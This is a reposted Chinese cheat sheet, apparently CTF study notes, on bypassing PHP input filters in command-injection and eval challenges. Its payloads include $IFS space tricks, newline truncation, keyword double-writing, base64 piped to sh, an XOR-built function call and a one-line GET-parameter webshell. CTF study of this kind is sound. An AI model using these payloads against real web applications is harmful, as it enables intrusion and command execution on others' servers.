PHP check 的一些繞過技術


繞過空格

$_GET[str]=str_replace(" ","",$_GET[str]);
  • ${IFS}  但不能寫作 $IFS 

  • $IFS$9

  • %09

繞過echo拼接

system("echo \"$_GET[str]\";");
  • 執行命令加上反引號 `cat /flag`

  • 雙引號閉合 與 | 分割(或 &后台 &&判讀 在URL中均要進行URL編碼)

繞過符號

$_GET[str]=str_replace(array( "", "$", "(", ")", ";","&","|","<"),"",$_GET[str]);
  • %0A 截斷  111"%0Acat %2fflag" 

繞過關鍵詞替換

$str=str_replace("flag","",$_GET[str]);
  • 雙寫繞過 flflagag 

繞過正則

preg_match("/flag/i",$str)
  • 反斜杠換行  ca\t fla\g  

  • 模糊匹配(通配符)  cat /fla?  cat /fl* 

  • base64  echo Y2F0IC9mbGFn|base64 -d|sh (Y2F0IC9mbGFn = cat /flag ,不能用)

  • 變量拼接  $a=%2ffl;$b=ag;cat $a$b; 

     

繞過可見字符

if(preg_match("/[A-Za-z0-9_]+/",$code))
    {die("NO.");}
@eval($code);
  • 構造 getFlag 的異或字符串 code=$_="%40%3e%2b%3b%2c%3c%3a"^"%27%5b%5f%7d%40%5d%5d";$_(); 

  • 注入一句話${_GET}[_](${_GET}[__]) 

  • 如果下划線_被禁用,使用大於等於 %7F 的字符

  • 取反繞過

本文轉自:https://www.cnblogs.com/kalbertlee/p/12287073.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM